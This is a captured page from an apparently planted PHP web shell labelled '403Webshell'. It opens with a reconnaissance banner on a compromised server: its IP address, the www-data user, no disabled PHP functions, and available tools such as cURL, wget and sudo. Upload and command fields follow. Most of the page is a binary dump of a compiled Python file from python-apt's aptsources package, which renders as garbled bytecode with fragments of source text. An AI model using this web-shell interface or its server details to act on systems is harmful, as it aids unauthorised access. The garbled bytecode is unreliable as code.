403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/aptsources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aptsources/__pycache__/distinfo.cpython-314.pyc
+
S^�i�:�
�
�^RIt^RIt^RIt^RIt^RIt^RIHt^RIHt^RI	t	^RI	H
tRRlt!RR4t
!R	R
4t!RR4t!R
R4tRRlt!RR4t]R8XEd�]!RR4t]P*!]P,4]P.EFZt]P*!R]P2,4]P*!R]P4,4]P*!R]P6,4]P*!R]P8,4]P:/8wd8]P*!R]!]P:P?44,4]P@F<t!]P*!R]!P2R]!P4R]!PD24K>	]PFF&t$]P*!R]$P4,4K(	EK]	R#R#)�N)�Iterator)�cast)�gettextc�R�V^8�dQhR\R\R\\,/#)��template�csv_path�return)�strr)�formats"�5/usr/lib/python3/dist-packages/aptsources/distinfo.py�__annotate__r$s*��S1�S1�s�S1�c�S1�h�s�m�S1�c
#��a	"�\4p\P!V4;_uu_4pVF�pRV9d(VPVR,P	R44RV9d)RVR,9dMHVPVR,4\
V4P4Rjx�L
K�	RRR4R#VF$pRV9gKVPVR,4K&	RRR4\V4;_uu_4p\\\P!V444pRRR4XEFFpVR,V9dKRx�VR,PR	R4VR&\P!V4;_uu_4pVF�pRV9gRVR,9dKR
V9dxVR,o	\;QJd5V	3RlVR
,P	R44F'gKRM*	R
M&!V	3RlVR
,P	R444'dK�\
V4P!R/VBP4F pVP!R
4'dKVx�K"	K�	RRR4EKI	\P!V4;_uu_4pVFpRV9gKRVR,9gKM	VF;pRV9dRVR,9dK\
V4P4Rjx�L
K=	RRR4R#ELc +'giEL1;i +'giEL;i +'giEK;iLR +'giR#;i5i)abExpand the given template.

A template file consists of a header, followed by paragraphs
of templated suites, followed by a footer. A templated suite
is any paragraph where the Suite field contains {.

This function expands all templated suites using the information
found in the CSV file supplied by distro-info-data.

It yields lines of template info.
zX-Exclude-Suitesz, �Suite�{N�series��versionz LTSz	X-Versionc3�<"�TF�pVPR4;'d*\P!VR,S4^8;'g;VPR4;'d"\P!VR,S4^8�x�K�	R#5i)�le:�NN�geN)�
startswith�apt_pkg�version_compare)�.0�field�vers& �r
�	<genexpr>�#_expand_template.<locals>.<genexpr>Xs�����
�&F�E�"�,�,�T�2�L�L� '� 7� 7��b�	�3� G�!� K���
"�,�,�T�2�L�L� '� 7� 7��b�	�3� G�!� K�
�&F�s�B�(B�	B�"*BTF�)�setr�TagFile�update�split�addr�
splitlines�open�reversed�list�csv�
DictReader�replace�anyrr)
rr	�known_suites�tmpl�section�
csv_object�releases�rel�liners
&&       @r
�_expand_templater7$s������5�L�
����	"�	"�d��G�!�W�,��#�#�G�,>�$?�$E�$E�d�$K�L��'�!��'�'�*�*��� � ���!1�2��7�|�.�.�0�0�0��
�
#�	"��G��'�!�� � ���!1�2��
#�&
�h���:��D����
�!;�<�=��
����x�=�L�(�����Y��/�/���;��I��
�_�_�X�
&�
&�$����'�)�S���8H�-H���'�)��i�.�C��s�
�&-�[�%9�%?�%?��%E�
�s�s�s�
�&-�[�%9�%?�%?��%E�
�
�
�!���L�/�/�6�#�6�A�A�C�D����{�3�3� ��J�D�) �'�
&��@
����	"�	"�d��G��'�!�c�W�W�-=�&=����G��'�!�c�W�W�-=�&=���7�|�.�.�0�0�0�
�

#�	"�[
1�
#�	"�	"��&
����'�
&�
&��N
1�
#�	"�	"�s��)M$�A?L�+L
�,	L�5
M$�?	L�
L�)M$�)L%�-AM$�	7L9�*L9�.3L9�"AL9�5+M$� 
M�/M�?<M�;M
�<M�
M$�L�L"	�	M$�%L6	�0	M$�9M�
M$�M�M!	�	M$c�Va�]tRt^ztoV3RlRltV3RlRltV3RlRltRtVtR#)	�Templatec�<�V^8�dQhRR/#�rr
Nr")r�
__classdict__s"�r
r�Template.__annotate__{s�����$�rc���RVnRVn.VnRVnRVnRVnRVn.Vn.VnRVn	/Vn
RVnRVnRVn
R#�NFT)�name�child�parents�
match_name�description�base_uri�type�
components�children�	match_uri�
mirror_set�distribution�	available�official��selfs&r
�__init__�Template.__init__{sf�� $��	���
�')���&*���'+���$(��
� $��	�+-���(*��
�%)���-/���(,��������
rc�&<�V^8�dQhRS[RS[/#)r�compr
�r�bool)rr<s"�r
rr=�s���9�9�#�9�$�9rc�.�VRVP49#)z6Check if the distribution provides the given componentc3�8"�TFqPx�K	R#5i�N)r@)r�cs& r
r �)Template.has_component.<locals>.<genexpr>�s���8��1����s�)rG)rOrSs&&r
�
has_component�Template.has_component�s���8����8�8�8rc�&<�V^8�dQhRS[RS[/#�r�urlr
rT)rr<s"�r
rr=�s�����S��T�rc��\V4wr#pW0P9d#VPV,PW$4#R#)z6Check if a given url of a repository is a valid mirrorF)�	split_urlrJ�has_repository)rOr_�proto�hostname�dirs&&   r
�	is_mirror�Template.is_mirror�s7��(��~�������&��?�?�8�,�;�;�E�G�G�r)rLrErArHrGrDrKrCrIrJr@rMrBrFN)	�__name__�
__module__�__qualname__�__firstlineno__rPr[rf�__static_attributes__�__classdictcell__�r<s@r
r9r9zs#������ 9�9��rr9c�a�]tRt^�toRV3RlRlltV3RlRltV3RlRltV3RlR	ltV3R
lRltV3RlR
lt	V3RlRlt
RtVtR#)�	ComponentNc	�\<�V^8�dQhRS[RS[R,RS[R,RS[R,/#)rr@�descN�	long_desc�parent_component�r)rr<s"�r
r�Component.__annotate__�s?���
1�
1��
1��D�j�
1���:�	
1�
��*�
1rc�6�WnW nW0nW@nR#rX)r@rD�description_longrt)rOr@rrrsrts&&&&&r
rP�Component.__init__�s���	��� )�� 0�rc�.<�V^8�dQhRS[R,/#r;ru)rr<s"�r
rrv�����%�%�c�D�j�%rc��VP#rX�rtrNs&r
�get_parent_component�Component.get_parent_component�����$�$�$rc�$<�V^8�dQhRS[RR/#)r�parentr
Nru)rr<s"�r
rrv�s���'�'�3�'�4�'rc��WnR#rXr})rOr�s&&r
�set_parent_component�Component.set_parent_component�s�� &�rc�.<�V^8�dQhRS[R,/#r;ru)rr<s"�r
rrv�s������t��rc�n�VPe
VP#VPe
VP#R#rX)rxrDrNs&r
�get_description�Component.get_description�s5��� � �,��(�(�(�
�
�
�
)��#�#�#�rc�$<�V^8�dQhRS[RR/#�rrrr
Nru)rr<s"�r
rrv�s��� � �C� �D� rc��WnR#rX)rD�rOrrs&&r
�set_description�Component.set_description�s���rc�$<�V^8�dQhRS[RR/#r�ru)rr<s"�r
rrv�s���%�%��%��%rc��WnR#rX�rxr�s&&r
�set_description_long�Component.set_description_long�s�� $�rc�.<�V^8�dQhRS[R,/#r;ru)rr<s"�r
rrv�r{rc��VP#rXr�rNs&r
�get_description_long�Component.get_description_long�r�r)rDrxr@rt)NNN)
rhrirjrkrPr~r�r�r�r�r�rlrmrns@r
rprp�sK����
1�
1�%�%�'�'��� � �%�%�%�%rrpc�a�]tRt^�toRtRV3RlRlltV3RlRltV3RlRltV3R	lR
ltV3RlRlt	V3R
lRlt
V3RlRltRtVt
R#)�Mirrorz&Storage for mirror related informationNc	�@<�V^8�dQhRS[RS[RS[RS[R,/#)rrcrdre�locationNru)rr<s"�r
r�Mirror.__annotate__�s1���!�!��!�$'�!�.1�!�=@�4�Z�!rc�N�W n.VnVPW4W@nR#rX)rd�repositories�add_repositoryr�)rOrcrdrer�s&&&&&r
rP�Mirror.__init__�s$��!�
�.0������E�'� �
rc�*<�V^8�dQhRS[RS[RR/#�rrcrer
Nru)rr<s"�r
rr��s"���9�9�C�9�c�9�d�9rc�N�VPP\W44R#rX)r��append�
Repository�rOrcres&&&r
r��Mirror.add_repository�s����� � ��E�!7�8rc�4<�V^8�dQhRS[RS[R,/#)rrcr
r��rr+)rr<s"�r
rr��s$���B�B��B��\�8J�Brc�h�VPUu.uFq"PV8XgKVNK	up#uupirX)r�rc)rOrc�rs&& r
�get_repositories_for_proto�!Mirror.get_repositories_for_proto�s-���,�,�A�,�a���5�0@���,�A�A��As�/�/c�,<�V^8�dQhRS[RS[RS[/#)rrcrer
rT)rr<s"�r
rr��s"�����C��c��d�rc��VfR#VPF)pVPV8XgKW#P9gK(R#	R#r?)r�rcre)rOrcrer�s&&& r
rb�Mirror.has_repository�s6���;���"�"�A��w�w�%��C�5�5�L��#�rc�0<�V^8�dQhRS[S[,/#�rr
)r+r)rr<s"�r
rr��s���E�E�t�C�y�Erc�t�VPUu.uFqPVP4NK	up#uupirX)r��get_urlrd)rOr�s& r
�
get_repo_urls�Mirror.get_repo_urls�s-��26�2C�2C�D�2C�Q�	�	�$�-�-�(�2C�D�D��Ds�#5c�.<�V^8�dQhRS[R,/#r;ru)rr<s"�r
rr��s�����c�D�j�rc��VP#rX�r�rNs&r
�get_location�Mirror.get_location�s���}�}�rc�$<�V^8�dQhRS[RR/#)rr�r
Nru)rr<s"�r
rr��s���!�!�S�!�T�!rc��WnR#rXr�)rOr�s&&r
�set_location�Mirror.set_location�s�� �
r)rdr�r�rX)rhrirjrk�__doc__rPr�r�rbr�r�r�rlrmrns@r
r�r��sR����0�!�!�9�9�B�B���E�E���!�!rr�c�Va�]tRt^�toV3RlRltV3RlRltV3RlRltRtVtR#)	r�c�*<�V^8�dQhRS[RS[RR/#r�ru)rr<s"�r
r�Repository.__annotate__�s"�����c�����rc��WnW nR#rX�rcrer�s&&&r
rP�Repository.__init__�s���
��rc�6<�V^8�dQhRS[S[S[3,/#r�)�tupler)rr<s"�r
rr��s���$�$�%��S��/�$rc�2�VPVP3#rXr�rNs&r
�get_info�Repository.get_info�s���z�z�4�8�8�#�#rc�&<�V^8�dQhRS[RS[/#)rrdr
ru)rr<s"�r
rr��s���7�7��7��7rc�>�VPRVRVP2#)z://�/r�)rOrds&&r
r��Repository.get_url�s!���*�*��S��
�!�D�H�H�:�6�6r)rercN)	rhrirjrkrPr�r�rlrmrns@r
r�r��s#������$�$�7�7rr�c�F�V^8�dQhR\R\\,/#r^r�)rs"r
rr�s����3��4��9�rc�~�\P!RV^R7p\V4^8dVPR4K#V#)zCsplit a given URL into the protocoll, the hostname and the dir partz:*\/+)�maxsplitN)�rer&�lenr�)r_r&s& r
rara�s0���H�H�X�s�Q�/�E�

�e�*�q�.�
���T���Lrc�Ha�]tRt^�toRV3RlRlltV3RlRltRtVtR#)�DistInfoNc�4<�V^8�dQhRS[R,RS[/#)r�distN�base_dirru)rr<s"�r
r�DistInfo.__annotate__�s'���v*�v*��D�j�v*��v*rc
��RVn.Vn\PP	R4VnRp\P!R4p\P!R4pV'g\P!4pVR,pWn
/pVRVR2pRVP4R	2p	\\R4p
\\R4p\W�4EFwpVP!R
^4p
\#V
4^8dK(V
^,P%4pV
^,P%4pVR8Xd\'V4VnKoVR8Xd	W�nK~VR
8XdHVP+W�4\\R4p\4p
W�nWnRV,V
nK�VR8Xd	W�nK�VR8XdgRV
nVPFLpVP,V8XgKV
P4P7V4VP8P7V
4KN	EKHVR8Xd\P:!V4V
nEKmVR8Xd\P:!V4V
nEK�VR8Xd
W�n EK�VR8XdV
PB'g
W�n!EK�VRVP
,8Xd
W�n!EK�VR8XdV
PD'g
W�n"EKVRVP
,8Xd
W�n"EK(VR8XgVRVP
,8XEdZ\FPHPKV4;'dT;'g=\FPHPM\FPHPOW/44pW�9d�/p\QV4;_uu_4p\S\UVPVVUu.uFpVP%4NK	up44pRRR4XFppTP]R4'dTP_RT4pK.\aT4wpppTT9dTT,PcTT4K_\eTTTT4TT&Kr	TY&W,V
n3EK�VR8Xd\'V4V
n4EK�VR8XdSV'd=V
PkVP,4'gV
PlP7V4\V4pEKVR 8XdVPo\'V44EK8VR!8XdVPq\'V44EK\VR"8XgEKfVPsV4EKz	VP+W�4\\R4p
\\R4pR#uupi +'giEL�;i \Xd\[RT24.pEL�i;i)#rzAPT::ArchitectureNz^#LOC:(.+)$zS^(#LOC:.+)|(((http)|(ftp)|(rsync)|(file)|(mirror)|(https))://[A-Za-z0-9/\.:\-_@]+)$�IDr�z.infoz/usr/share/distro-info/z.csv�:�ChangelogURI�MetaReleaseURIrz^%s$�	MatchName�ParentSuiteT�	Available�Official�RepositoryType�BaseURIz
BaseURI-%s�MatchURIzMatchURI-%s�MirrorsFilezMirrorsFile-%sz$WARNING: Failed to read mirror file z#LOC:z\1�Descriptionrp�CompDescription�CompDescriptionLong�ParentComponent):�metarelease_uri�	templatesr�config�find�archr��compile�platform�freedesktop_os_releaser��lowerrr9rpr7r&r��strip�_�changelogs_uri�finish_templater@rKrCrArBr�rH�string_to_boolrLrMrFrErI�os�path�isabs�abspath�joinr)r+�filter�match�	Exception�printr�subrar�r�rJrDr[rGr�r�r�)rOr�r�r��	match_loc�match_mirror_line�info�map_mirror_sets�
dist_fname�	csv_fnamer�	componentr6�tokensr�value�nannyrJ�value_f�x�mirror_datarcrdres&&&                     r
rP�DistInfo.__init__�s���
 "���)+����N�N�'�'�(;�<��	����J�J�~�.�	��J�J�
&�
����2�2�4�D���:�D��	��� �z��4�&��.�
�-�d�j�j�l�^�4�@�	���$�'����D�)�	�$�Z�;�D��Z�Z��Q�'�F��6�{�Q����1�I�O�O�%�E��1�I�O�O�%�E���&�&'��h��#��*�*�',�$��'�!��$�$�X�9� ��D�1�	�#�:�� %�
�(,�%�&,�u�n��#��+�%�&+�#��-�'�!%���!�^�^�E��z�z�U�*� �(�(�/�/��6����-�-�h�7�	,�
�+�%�%,�%;�%;�E�%B��"��*�$�$+�$:�$:�5�$A��!��*�*� %�
��)�#�H�,=�,=�,=�$)�!��,����2�2�$)�!��*�$�X�-?�-?�-?�%*�"��-�$�)�)�3�3�%*�"��-�'�5�4D�t�y�y�4P�+P��G�G�M�M�%�(����F�F��w�w���r�w�w�|�|�H�'D�E��
�/�46�J�
)�!�%�[�[�G�*.� &�$5�$;�$;�8?�$@��1�Q�W�W�Y��$@�!"�+�K�)�!,���?�?�7�3�3�'0�}�}�U�D�'A�H�$�1:�4��.���#�#�z�1�&�x�0�?�?��s�K�39� %�x��h�4�J�x�0�!,�.8�O�*�&5�&<��#��-�'�'(��x��$��+�%��X�%;�%;�I�N�N�%K�%K��'�'�.�.�y�9�%�e�,�	��+�+��)�)�!�E�(�3��/�/��.�.�q��x�8��+�+��.�.�u�5�i<�j	
���X�1���$�'����D�)�	��C%A�	)�[�[��%�)�� D�U�G�L�M�&(��)�sB�V�'V
�V�V
�%V�V
�
V�V�V�V=�<V=c�8<�V^8�dQhRS[RS[R,RR/#)rrrNr
)r9rp)rr<s"�r
rr�ms(���(�(��(�Y��=M�(�RV�(rc��V'gR#VPfKVP'd9VPF(pVP'gKVPVnM	VP/8XdKVP'd9VPF(pVP'gKVPVnM	V'd?VP	VP
4'gVPPV4RpVPFpVPVnK	VPPV4R#)zfinish the current tempalteN)
rIrArBrJr[r@rGr�rMr�)rOrr�ts&&& r
r��DistInfo.finish_templatems��������%�(�.�.�.��%�%���;�;�;�)*���H�&��&����"�$������%�%���;�;�;�*+�,�,�H�'��&��X�3�3�I�N�N�C�C����&�&�y�1��I��!�!�A� !�
�
�H��"������h�'r)r�r�r�r�r�)N�/usr/share/python-apt/templates)rhrirjrkrPr�rlrmrns@r
r�r��s����v*�v*�p(�(rr��__main__�Ubunturz

Suite: %szDesc: %szBaseURI: %szMatchURI: %szMirrors: %s� z -z  %s)%r,�loggingr�r�r��collections.abcr�typingrrrr�r7r9rpr�r�rar�rh�drr�r�rr@rDrErIrJr+�keysrGrSrxrHrAr"rr
�<module>r s���0��	��	�$��� �S1�l��<"%�"%�J !� !�F	7�	7��N(�N(�b�z����<�=�A��L�L��!�!�"��K�K�����]�X�]�]�2�3����Z�(�"6�"6�6�7����]�X�%6�%6�6�7����^�h�&8�&8�8�9����"�$��L�L���h�.A�.A�.F�.F�.H�)I�I�J��'�'�D��L�L�1�T�Y�Y�K�r�$�*:�*:�);�2�d�>S�>S�=T�U�V�(��&�&�E��L�L��%�"3�"3�3�4�'� �r

Youez - 2016 - github.com/yon3zu
LinuXploit